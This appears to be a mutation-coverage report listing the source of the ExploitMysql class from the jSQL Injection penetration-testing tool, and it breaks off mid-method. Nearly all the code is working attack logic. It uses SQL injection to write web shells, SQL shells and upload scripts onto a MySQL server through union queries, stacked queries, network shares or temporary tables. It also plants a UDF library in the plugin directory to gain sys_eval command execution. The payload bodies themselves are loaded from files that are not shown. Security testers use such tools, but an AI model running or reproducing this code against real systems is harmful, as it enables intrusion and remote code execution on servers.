| 1 | package com.jsql.model.accessible.vendor; | |
| 2 | ||
| 3 | import com.jsql.model.InjectionModel; | |
| 4 | import com.jsql.model.accessible.DataAccess; | |
| 5 | import com.jsql.model.accessible.ExploitMode; | |
| 6 | import com.jsql.model.accessible.ResourceAccess; | |
| 7 | import com.jsql.model.accessible.vendor.mysql.ModelYamlMysql; | |
| 8 | import com.jsql.model.bean.database.MockElement; | |
| 9 | import com.jsql.model.bean.util.Interaction; | |
| 10 | import com.jsql.model.bean.util.Request; | |
| 11 | import com.jsql.model.exception.AbstractSlidingException; | |
| 12 | import com.jsql.model.exception.JSqlException; | |
| 13 | import com.jsql.model.exception.JSqlRuntimeException; | |
| 14 | import com.jsql.model.injection.vendor.model.VendorYaml; | |
| 15 | import com.jsql.model.suspendable.SuspendableGetRows; | |
| 16 | import com.jsql.util.LogLevelUtil; | |
| 17 | import com.jsql.util.StringUtil; | |
| 18 | import org.apache.commons.codec.binary.Hex; | |
| 19 | import org.apache.commons.lang3.RandomStringUtils; | |
| 20 | import org.apache.commons.lang3.StringUtils; | |
| 21 | import org.apache.logging.log4j.LogManager; | |
| 22 | import org.apache.logging.log4j.Logger; | |
| 23 | import org.yaml.snakeyaml.Yaml; | |
| 24 | ||
| 25 | import java.io.*; | |
| 26 | import java.net.http.HttpResponse; | |
| 27 | import java.nio.charset.StandardCharsets; | |
| 28 | import java.nio.file.Files; | |
| 29 | import java.nio.file.Path; | |
| 30 | import java.nio.file.Paths; | |
| 31 | import java.util.List; | |
| 32 | import java.util.Objects; | |
| 33 | import java.util.UUID; | |
| 34 | import java.util.function.BiPredicate; | |
| 35 | import java.util.function.BinaryOperator; | |
| 36 | ||
| 37 | public class ExploitMysql { | |
| 38 | ||
| 39 | private static final Logger LOGGER = LogManager.getRootLogger(); | |
| 40 | public static final String NAME_TABLE = "temp"; | |
| 41 | private final InjectionModel injectionModel; | |
| 42 | private final ModelYamlMysql modelYaml; | |
| 43 | ||
| 44 | private final BiPredicate<String, String> biPredCreateUdf = (String pathRemoteFolder, String nameLibraryRandom) -> { | |
| 45 | try { | |
| 46 |
2
1. lambda$new$0 : replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::lambda$new$0 → NO_COVERAGE 2. lambda$new$0 : replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::lambda$new$0 → NO_COVERAGE |
return this.buildSysEval(nameLibraryRandom); |
| 47 | } catch (JSqlException e) { | |
| 48 | throw new JSqlRuntimeException(e); | |
| 49 | } | |
| 50 | }; | |
| 51 | ||
| 52 | public ExploitMysql(InjectionModel injectionModel) { | |
| 53 | this.injectionModel = injectionModel; | |
| 54 | var yaml = new Yaml(); | |
| 55 | this.modelYaml = yaml.loadAs( | |
| 56 | injectionModel.getMediatorVendor().getMysql().instance().getModelYaml().getResource().getExploit(), | |
| 57 | ModelYamlMysql.class | |
| 58 | ); | |
| 59 | } | |
| 60 | ||
| 61 | public String createWeb(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode) throws JSqlException { | |
| 62 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "RCE Web target requirements: web+db on same machine, FILE priv"); | |
| 63 | ||
| 64 | BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> { | |
| 65 | var request = new Request(); | |
| 66 |
1
1. lambda$createWeb$1 : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.ADD_TAB_EXPLOIT_WEB); |
| 67 |
1
1. lambda$createWeb$1 : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(urlSuccess); |
| 68 |
1
1. lambda$createWeb$1 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
| 69 |
1
1. lambda$createWeb$1 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createWeb$1 → NO_COVERAGE |
return urlSuccess; |
| 70 | }; | |
| 71 |
1
1. createWeb : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::createWeb → NO_COVERAGE |
return this.create(pathExploit, urlExploit, "exploit.web", "web.php", biFuncGetRequest, pathNetshare, exploitMode); |
| 72 | } | |
| 73 | ||
| 74 | public String createSql(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, String username, String password) throws JSqlException { | |
| 75 | BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> { | |
| 76 | var resultQuery = this.injectionModel.getResourceAccess().runSqlShell("select 1337", null, urlSuccess, username, password, false); | |
| 77 |
2
1. lambda$createSql$2 : negated conditional → NO_COVERAGE 2. lambda$createSql$2 : negated conditional → NO_COVERAGE |
if (resultQuery != null && resultQuery.contains(ResourceAccess.SQL_CONFIRM_RESULT)) { |
| 78 | var request = new Request(); | |
| 79 |
1
1. lambda$createSql$2 : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.ADD_TAB_EXPLOIT_SQL); |
| 80 |
1
1. lambda$createSql$2 : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(urlSuccess, username, password); |
| 81 |
1
1. lambda$createSql$2 : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
| 82 |
1
1. lambda$createSql$2 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createSql$2 → NO_COVERAGE |
return urlSuccess; |
| 83 | } | |
| 84 | return StringUtils.EMPTY; | |
| 85 | }; | |
| 86 | var urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysqli", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode); | |
| 87 |
1
1. createSql : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(urlSuccess)) { |
| 88 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with mysqli_query(), trying with pdo()..."); | |
| 89 | urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.pdo.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode); | |
| 90 | } | |
| 91 |
1
1. createSql : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(urlSuccess)) { |
| 92 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Failure with pdo(), trying with mysql_query()..."); | |
| 93 | urlSuccess = this.create(pathExploit, urlExploit, "exploit.sql.mysql", ResourceAccess.SQL_DOT_PHP, biFuncGetRequest, pathNetshare, exploitMode); | |
| 94 | } | |
| 95 |
1
1. createSql : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(urlSuccess)) { |
| 96 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "No connection to the database"); | |
| 97 | } | |
| 98 |
1
1. createSql : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::createSql → NO_COVERAGE |
return urlSuccess; |
| 99 | } | |
| 100 | ||
| 101 | public void createUpload(String pathExploit, String urlExploit, String pathNetshare, ExploitMode exploitMode, File fileToUpload) throws JSqlException { | |
| 102 | BinaryOperator<String> biFuncGetRequest = (String pathExploitFixed, String urlSuccess) -> { | |
| 103 | try (InputStream streamToUpload = new FileInputStream(fileToUpload)) { | |
| 104 | HttpResponse<String> result = this.injectionModel.getResourceAccess().upload(fileToUpload, urlSuccess, streamToUpload); | |
| 105 |
1
1. lambda$createUpload$3 : negated conditional → NO_COVERAGE |
if (result.body().contains(DataAccess.LEAD +"y")) { |
| 106 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, ResourceAccess.UPLOAD_SUCCESSFUL, pathExploit, fileToUpload.getName()); | |
| 107 | } else { | |
| 108 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, ResourceAccess.UPLOAD_FAILURE, pathExploit, fileToUpload.getName()); | |
| 109 | } | |
| 110 | } catch (InterruptedException e) { | |
| 111 | LOGGER.log(LogLevelUtil.IGNORE, e, e); | |
| 112 |
1
1. lambda$createUpload$3 : removed call to java/lang/Thread::interrupt → NO_COVERAGE |
Thread.currentThread().interrupt(); |
| 113 | } catch (IOException | JSqlException e) { | |
| 114 | throw new JSqlRuntimeException(e); | |
| 115 | } | |
| 116 |
1
1. lambda$createUpload$3 : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createUpload$3 → NO_COVERAGE |
return urlSuccess; |
| 117 | }; | |
| 118 | this.create(pathExploit, urlExploit, ResourceAccess.EXPLOIT_DOT_UPL, "upl.php", biFuncGetRequest, pathNetshare, exploitMode); | |
| 119 | } | |
| 120 | ||
| 121 | /** | |
| 122 | * Create shell on remote server | |
| 123 | * @param urlExploit URL for the script (used for url rewriting) | |
| 124 | */ | |
| 125 | public String create( | |
| 126 | String pathRemoteFolder, | |
| 127 | String urlExploit, | |
| 128 | String keyPropertyExploit, | |
| 129 | String nameExploit, | |
| 130 | BinaryOperator<String> biFuncGetRequest, | |
| 131 | String pathNetshareFolder, | |
| 132 | ExploitMode exploitMode | |
| 133 | ) throws JSqlException { | |
| 134 |
1
1. create : negated conditional → NO_COVERAGE |
if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) { |
| 135 |
1
1. create : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE |
return null; |
| 136 | } | |
| 137 | ||
| 138 | String bodyExploit = StringUtil.base64Decode( | |
| 139 | this.injectionModel.getMediatorUtils().getPropertiesUtil().getProperty(keyPropertyExploit) | |
| 140 | ) | |
| 141 | .replace(DataAccess.SHELL_LEAD, DataAccess.LEAD) | |
| 142 | .replace(DataAccess.SHELL_TRAIL, DataAccess.TRAIL); | |
| 143 | ||
| 144 | // outfile + binary: content corruption | |
| 145 | BiPredicate<String, String> biPredConfirm = (String pathFolder, String nameFile) -> { | |
| 146 | try { | |
| 147 | String resultInjection = this.confirm(pathFolder + nameFile); | |
| 148 |
2
1. lambda$create$4 : replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::lambda$create$4 → NO_COVERAGE 2. lambda$create$4 : replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::lambda$create$4 → NO_COVERAGE |
return resultInjection.contains(bodyExploit); |
| 149 | } catch (JSqlException e) { | |
| 150 | throw new JSqlRuntimeException(e); | |
| 151 | } | |
| 152 | }; | |
| 153 | ||
| 154 |
1
1. create : Replaced integer subtraction with addition → NO_COVERAGE |
var nbIndexesPrefix = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1; |
| 155 | String nameExploitValidated = StringUtils.EMPTY; | |
| 156 | ||
| 157 |
1
1. create : negated conditional → NO_COVERAGE |
if (exploitMode == ExploitMode.NETSHARE) { |
| 158 |
1
1. create : removed call to com/jsql/model/accessible/vendor/ExploitMysql::copyBodyToShare → NO_COVERAGE |
ExploitMysql.copyBodyToShare(pathNetshareFolder + nameExploit, bodyExploit); |
| 159 | nameExploitValidated = this.byNetshare( | |
| 160 | nbIndexesPrefix, | |
| 161 | pathNetshareFolder, | |
| 162 | nameExploit, | |
| 163 | pathRemoteFolder, | |
| 164 | biPredConfirm | |
| 165 | ); | |
| 166 |
2
1. create : negated conditional → NO_COVERAGE 2. create : negated conditional → NO_COVERAGE |
} else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) { |
| 167 | nameExploitValidated = this.byQueryBody( | |
| 168 | nbIndexesPrefix, | |
| 169 | pathRemoteFolder, | |
| 170 | nameExploit, | |
| 171 | StringUtil.toHexChunks(bodyExploit.getBytes()), | |
| 172 | biPredConfirm | |
| 173 | ); | |
| 174 | } | |
| 175 |
3
1. create : negated conditional → NO_COVERAGE 2. create : negated conditional → NO_COVERAGE 3. create : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameExploitValidated) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) { |
| 176 | var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
| 177 |
1
1. create : removed call to com/jsql/model/accessible/vendor/ExploitMysql::byTable → NO_COVERAGE |
this.byTable( |
| 178 | StringUtil.toHexChunks(bodyExploit.getBytes()), | |
| 179 | pathRemoteFolder + nameExploitRandom | |
| 180 | ); | |
| 181 |
1
1. create : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
| 182 | nameExploitValidated = nameExploitRandom; | |
| 183 | } | |
| 184 | } | |
| 185 | ||
| 186 |
1
1. create : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameExploitValidated)) { |
| 187 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit creation failure: source file not found at [{}{}]", pathRemoteFolder, nameExploitValidated); | |
| 188 |
1
1. create : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE |
return null; |
| 189 | } | |
| 190 | nameExploit = nameExploitValidated; | |
| 191 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "Exploit creation successful: source file found at [{}{}]", pathRemoteFolder, nameExploitValidated); | |
| 192 | ||
| 193 |
1
1. create : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE |
return this.injectionModel.getResourceAccess().checkUrls(urlExploit, nameExploit, biFuncGetRequest); |
| 194 | } | |
| 195 | ||
| 196 | public void createUdf(String pathNetshareFolder, ExploitMode exploitMode) throws JSqlException { | |
| 197 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "UDF target requirements: stack query, FILE priv"); | |
| 198 | ||
| 199 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (this.injectionModel.getResourceAccess().isMysqlReadDenied()) { |
| 200 | return; | |
| 201 | } | |
| 202 | ||
| 203 |
1
1. createUdf : Replaced integer subtraction with addition → NO_COVERAGE |
var nbIndexesFound = this.injectionModel.getMediatorStrategy().getSpecificUnion().getNbIndexesFound() - 1; |
| 204 | var pathPlugin = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getPathPlugin(), "plugin#dir"); | |
| 205 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(pathPlugin)) { |
| 206 | throw new JSqlException("Incorrect plugin folder: path is empty"); | |
| 207 | } | |
| 208 | ||
| 209 | String nameLibrary = this.getNameLibrary(); | |
| 210 | ||
| 211 | pathPlugin = pathPlugin.replace("\\", "/"); | |
| 212 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (!pathPlugin.endsWith("/")) { |
| 213 | pathPlugin = String.format("%s%s", pathPlugin, "/"); | |
| 214 | } | |
| 215 | ||
| 216 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (!this.injectionModel.getMediatorStrategy().getStack().isApplicable()) { |
| 217 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Exploit UDF requires stack query, trying anyway..."); | |
| 218 | } | |
| 219 | String isSuccess = StringUtils.EMPTY; | |
| 220 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (exploitMode == ExploitMode.NETSHARE) { |
| 221 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (!pathNetshareFolder.endsWith("\\")) { |
| 222 | pathNetshareFolder += "\\"; | |
| 223 | } | |
| 224 |
1
1. createUdf : removed call to com/jsql/model/accessible/vendor/ExploitMysql::copyLibraryToShare → NO_COVERAGE |
ExploitMysql.copyLibraryToShare(pathNetshareFolder, nameLibrary); |
| 225 | isSuccess = this.byNetshare( | |
| 226 | nbIndexesFound, | |
| 227 | pathNetshareFolder, | |
| 228 | nameLibrary, | |
| 229 | pathPlugin, | |
| 230 | this.biPredCreateUdf | |
| 231 | ); | |
| 232 |
2
1. createUdf : negated conditional → NO_COVERAGE 2. createUdf : negated conditional → NO_COVERAGE |
} else if (exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.QUERY_BODY) { |
| 233 |
1
1. createUdf : negated conditional → NO_COVERAGE |
if (StringUtil.GET.equals(this.injectionModel.getMediatorUtils().getConnectionUtil().getTypeRequest())) { |
| 234 | LOGGER.log(LogLevelUtil.CONSOLE_INFORM, "URL size limited when UDF with GET, if failure then use POST instead"); | |
| 235 | } | |
| 236 | isSuccess = this.byQueryBody( | |
| 237 | nbIndexesFound, | |
| 238 | pathPlugin, | |
| 239 | nameLibrary, | |
| 240 | ExploitMysql.toHexChunks(nameLibrary), | |
| 241 | this.biPredCreateUdf | |
| 242 | ); | |
| 243 | } | |
| 244 |
3
1. createUdf : negated conditional → NO_COVERAGE 2. createUdf : negated conditional → NO_COVERAGE 3. createUdf : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(isSuccess) && exploitMode == ExploitMode.AUTO || exploitMode == ExploitMode.TEMP_TABLE) { |
| 245 | var nameLibraryRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameLibrary; | |
| 246 |
1
1. createUdf : removed call to com/jsql/model/accessible/vendor/ExploitMysql::byTable → NO_COVERAGE |
this.byTable(ExploitMysql.toHexChunks(nameLibrary), pathPlugin + nameLibraryRandom); |
| 247 | this.biPredCreateUdf.test(pathPlugin, nameLibraryRandom); | |
| 248 | } | |
| 249 | } | |
| 250 | ||
| 251 | private String getNameLibrary() throws JSqlException { | |
| 252 | var versionOsMachine = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getOsMachine(), "system#spec"); | |
| 253 |
1
1. getNameLibrary : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(versionOsMachine)) { |
| 254 | throw new JSqlException("Incorrect remote machine: unknown system"); | |
| 255 | } | |
| 256 |
2
1. getNameLibrary : negated conditional → NO_COVERAGE 2. getNameLibrary : negated conditional → NO_COVERAGE |
var isWin = versionOsMachine.toLowerCase().contains("win") && !versionOsMachine.toLowerCase().contains("linux"); |
| 257 | String nameLibrary; | |
| 258 |
1
1. getNameLibrary : negated conditional → NO_COVERAGE |
if (versionOsMachine.contains("64")) { |
| 259 |
1
1. getNameLibrary : negated conditional → NO_COVERAGE |
nameLibrary = isWin ? "64.dll" : "64.so"; |
| 260 | } else { | |
| 261 |
1
1. getNameLibrary : negated conditional → NO_COVERAGE |
nameLibrary = isWin ? "32.dll" : "32.so"; |
| 262 | } | |
| 263 |
1
1. getNameLibrary : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getNameLibrary → NO_COVERAGE |
return nameLibrary; |
| 264 | } | |
| 265 | ||
| 266 | public String byQueryBody( | |
| 267 | int nbIndexesPrefix, | |
| 268 | String pathRemoteFolder, | |
| 269 | String nameExploit, | |
| 270 | List<String> hexChunks, | |
| 271 | BiPredicate<String, String> biPredConfirm | |
| 272 | ) { | |
| 273 | String nameExploitValidated = StringUtils.EMPTY; | |
| 274 | var pattern = this.modelYaml.getUdf().getAddFile().getQueryBody(); | |
| 275 | ||
| 276 | var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
| 277 |
1
1. byQueryBody : negated conditional → NO_COVERAGE |
int countUnionIndex = this.injectionModel.getMediatorUtils().getPreferencesUtil().isLimitingUnionIndex() |
| 278 | ? this.injectionModel.getMediatorUtils().getPreferencesUtil().countUnionIndex() | |
| 279 | : 15; | |
| 280 |
2
1. byQueryBody : negated conditional → NO_COVERAGE 2. byQueryBody : changed conditional boundary → NO_COVERAGE |
for (var i = Math.max(0, nbIndexesPrefix); i <= countUnionIndex ; i++) { |
| 281 | int finalI = i; | |
| 282 | LOGGER.log( | |
| 283 | LogLevelUtil.CONSOLE_DEFAULT, | |
| 284 | "Checking file write with [union select {}fileBody]", | |
| 285 |
1
1. lambda$byQueryBody$5 : replaced return value with null for com/jsql/model/accessible/vendor/ExploitMysql::lambda$byQueryBody$5 → NO_COVERAGE |
() -> "'',".repeat(finalI) |
| 286 | ); | |
| 287 | this.injectionModel.injectWithoutIndex(String.format(pattern, | |
| 288 | "and 1=2 union", // false required, prevent writing origin rows instead of file body when true | |
| 289 | "'',".repeat(i), | |
| 290 | String.join(StringUtils.EMPTY, hexChunks), | |
| 291 | pathRemoteFolder + nameExploitRandom | |
| 292 | ), "body#union-dump"); | |
| 293 |
1
1. byQueryBody : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
| 294 | nameExploitValidated = nameExploitRandom; | |
| 295 | break; | |
| 296 |
2
1. byQueryBody : negated conditional → NO_COVERAGE 2. byQueryBody : changed conditional boundary → NO_COVERAGE |
} else if (nbIndexesPrefix > -1) { // interrupt when Union already found |
| 297 | break; | |
| 298 | } | |
| 299 | } | |
| 300 |
1
1. byQueryBody : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameExploitValidated)) { |
| 301 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Query body connection failure with union, trying with stack..."); | |
| 302 | nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
| 303 | this.injectionModel.injectWithoutIndex(String.format(pattern, | |
| 304 | ";", | |
| 305 | StringUtils.EMPTY, | |
| 306 | String.join(StringUtils.EMPTY, hexChunks), | |
| 307 | pathRemoteFolder + nameExploitRandom | |
| 308 | ), "body#stack-dump"); | |
| 309 |
1
1. byQueryBody : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
| 310 | nameExploitValidated = nameExploitRandom; | |
| 311 | } | |
| 312 | } | |
| 313 |
1
1. byQueryBody : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::byQueryBody → NO_COVERAGE |
return nameExploitValidated; |
| 314 | } | |
| 315 | ||
| 316 | public String byNetshare( | |
| 317 | int nbIndexesPrefix, | |
| 318 | String pathNetshareFolder, | |
| 319 | String nameExploit, | |
| 320 | String pathRemoteFolder, | |
| 321 | BiPredicate<String, String> biPredConfirm | |
| 322 | ) { | |
| 323 | String nameExploitValidated = StringUtils.EMPTY; | |
| 324 | var pathShareEncoded = pathNetshareFolder.replace("\\", "\\\\"); | |
| 325 | var pattern = this.modelYaml.getUdf().getAddFile().getNetshare(); | |
| 326 | ||
| 327 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and union..."); | |
| 328 | var nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
| 329 | this.injectionModel.injectWithoutIndex(String.format(pattern, | |
| 330 | "and 1=2 union", // required false, prevent writing origin rows instead of file body when true | |
| 331 | "'',".repeat(nbIndexesPrefix), | |
| 332 | pathShareEncoded + nameExploit, | |
| 333 | pathRemoteFolder + nameExploitRandom | |
| 334 | ), "netshare#union"); | |
| 335 |
1
1. byNetshare : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
| 336 | nameExploitValidated = nameExploitRandom; | |
| 337 | } | |
| 338 |
1
1. byNetshare : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameExploitValidated)) { |
| 339 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection using netshare and stack..."); | |
| 340 | nameExploitRandom = RandomStringUtils.secure().nextAlphabetic(8) +"-"+ nameExploit; | |
| 341 | this.injectionModel.injectWithoutIndex(String.format(pattern, | |
| 342 | ";", | |
| 343 | StringUtils.EMPTY, | |
| 344 | pathShareEncoded + nameExploit, | |
| 345 | pathRemoteFolder + nameExploitRandom | |
| 346 | ), "netshare#stack"); | |
| 347 |
1
1. byNetshare : negated conditional → NO_COVERAGE |
if (biPredConfirm.test(pathRemoteFolder, nameExploitRandom)) { |
| 348 | nameExploitValidated = nameExploitRandom; | |
| 349 | } | |
| 350 | } | |
| 351 |
1
1. byNetshare : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::byNetshare → NO_COVERAGE |
return nameExploitValidated; |
| 352 | } | |
| 353 | ||
| 354 | public void byTable(List<String> bodyHexChunks, String pathRemoteFile) throws JSqlException { | |
| 355 | LOGGER.log(LogLevelUtil.CONSOLE_DEFAULT, "Checking connection with table and stack..."); | |
| 356 | var nameDatabase = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFile().getTempTable().getNameDatabase(), "tbl#dbname"); | |
| 357 |
2
1. byTable : negated conditional → NO_COVERAGE 2. byTable : negated conditional → NO_COVERAGE |
if (StringUtils.isEmpty(nameDatabase) || StringUtil.INFORMATION_SCHEMA.equals(nameDatabase)) { |
| 358 | nameDatabase = "mysql"; | |
| 359 | } | |
| 360 | var nameTableRandom = ExploitMysql.NAME_TABLE +"_"+ RandomStringUtils.secure().nextAlphabetic(8); // underscore required, dash not allowed | |
| 361 | var nameSchemaTable = nameDatabase +"."+ nameTableRandom; | |
| 362 | this.injectionModel.injectWithoutIndex(String.format( | |
| 363 | this.modelYaml.getUdf().getAddFile().getTempTable().getDrop(), | |
| 364 | nameSchemaTable | |
| 365 | ), ResourceAccess.TBL_DROP); | |
| 366 | var countResult = this.getCountTable(nameDatabase, nameTableRandom); | |
| 367 |
1
1. byTable : negated conditional → NO_COVERAGE |
if (!"0".equals(countResult)) { |
| 368 | throw new JSqlException("Drop table failure: "+ countResult); | |
| 369 | } | |
| 370 | this.injectionModel.injectWithoutIndex(String.format( | |
| 371 | this.modelYaml.getUdf().getAddFile().getTempTable().getCreate(), | |
| 372 | nameSchemaTable | |
| 373 | ), ResourceAccess.TBL_CREATE); | |
| 374 | countResult = this.getCountTable(nameDatabase, nameTableRandom); | |
| 375 |
1
1. byTable : negated conditional → NO_COVERAGE |
if (!"1".equals(countResult)) { |
| 376 | throw new JSqlException("Create table failure: "+ countResult); | |
| 377 | } | |
| 378 | int indexChunk = 0; | |
| 379 | for (String chunk: bodyHexChunks) { | |
| 380 |
1
1. byTable : negated conditional → NO_COVERAGE |
if (indexChunk == 0) { |
| 381 | this.injectionModel.injectWithoutIndex(String.format( | |
| 382 | this.modelYaml.getUdf().getAddFile().getTempTable().getInsertChunks(), | |
| 383 | nameSchemaTable, | |
| 384 | chunk | |
| 385 | ), "tbl#init"); | |
| 386 | } else { | |
| 387 | this.injectionModel.injectWithoutIndex(String.format( | |
| 388 | this.modelYaml.getUdf().getAddFile().getTempTable().getAppendChunks(), | |
| 389 | nameSchemaTable, | |
| 390 | chunk | |
| 391 | ), ResourceAccess.TBL_FILL); | |
| 392 | } | |
| 393 |
1
1. byTable : Changed increment from 1 to -1 → NO_COVERAGE |
indexChunk++; |
| 394 | } | |
| 395 | this.injectionModel.injectWithoutIndex(String.format( | |
| 396 | this.modelYaml.getUdf().getAddFile().getTempTable().getDump(), | |
| 397 | nameSchemaTable, | |
| 398 | pathRemoteFile | |
| 399 | ), ResourceAccess.TBL_DUMP); | |
| 400 | } | |
| 401 | ||
| 402 | private String getCountTable(String nameDatabase, String nameTableRandom) { | |
| 403 | try { | |
| 404 |
1
1. getCountTable : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getCountTable → NO_COVERAGE |
return this.injectionModel.getResourceAccess().getResult(String.format( |
| 405 | this.modelYaml.getUdf().getAddFile().getTempTable().getConfirm(), | |
| 406 | nameTableRandom, | |
| 407 | nameDatabase | |
| 408 | ), "tbl#check"); | |
| 409 | } catch (JSqlException e) { | |
| 410 |
1
1. getCountTable : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getCountTable → NO_COVERAGE |
return e.getMessage(); // error message then logged |
| 411 | } | |
| 412 | } | |
| 413 | ||
| 414 | private boolean buildSysEval(String nameLibrary) throws JSqlException { | |
| 415 | this.injectionModel.injectWithoutIndex(this.modelYaml.getUdf().getAddFunction().getDrop(), "udf#drop"); | |
| 416 | this.injectionModel.injectWithoutIndex(String.format( | |
| 417 | this.modelYaml.getUdf().getAddFunction().getCreate(), | |
| 418 | nameLibrary | |
| 419 | ), "udf#function"); | |
| 420 | var confirm = this.injectionModel.getResourceAccess().getResult(this.modelYaml.getUdf().getAddFunction().getConfirm(), "udf#confirm"); | |
| 421 |
1
1. buildSysEval : negated conditional → NO_COVERAGE |
if (!confirm.contains("sys_eval")) { |
| 422 | LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "UDF failure: sys_eval not found"); | |
| 423 |
1
1. buildSysEval : replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::buildSysEval → NO_COVERAGE |
return false; |
| 424 | } | |
| 425 | LOGGER.log(LogLevelUtil.CONSOLE_SUCCESS, "UDF successful: sys_eval found"); | |
| 426 | ||
| 427 | var request = new Request(); | |
| 428 |
1
1. buildSysEval : removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE |
request.setMessage(Interaction.ADD_TAB_EXPLOIT_UDF_MYSQL); |
| 429 |
1
1. buildSysEval : removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE |
request.setParameters(null, null); |
| 430 |
1
1. buildSysEval : removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE |
this.injectionModel.sendToViews(request); |
| 431 |
1
1. buildSysEval : replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::buildSysEval → NO_COVERAGE |
return true; |
| 432 | } | |
| 433 | ||
| 434 | public String confirm(String path) throws JSqlException { | |
| 435 | var sourcePage = new String[]{ StringUtils.EMPTY }; | |
| 436 |
1
1. confirm : replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::confirm → NO_COVERAGE |
return new SuspendableGetRows(this.injectionModel).run( |
| 437 | this.modelYaml.getFile().getRead().replace( | |
| 438 | VendorYaml.FILEPATH_HEX, | |
| 439 | Hex.encodeHexString(path.getBytes(StandardCharsets.UTF_8)) | |
| 440 | ), | |
| 441 | sourcePage, | |
| 442 | false, | |
| 443 | 1, | |
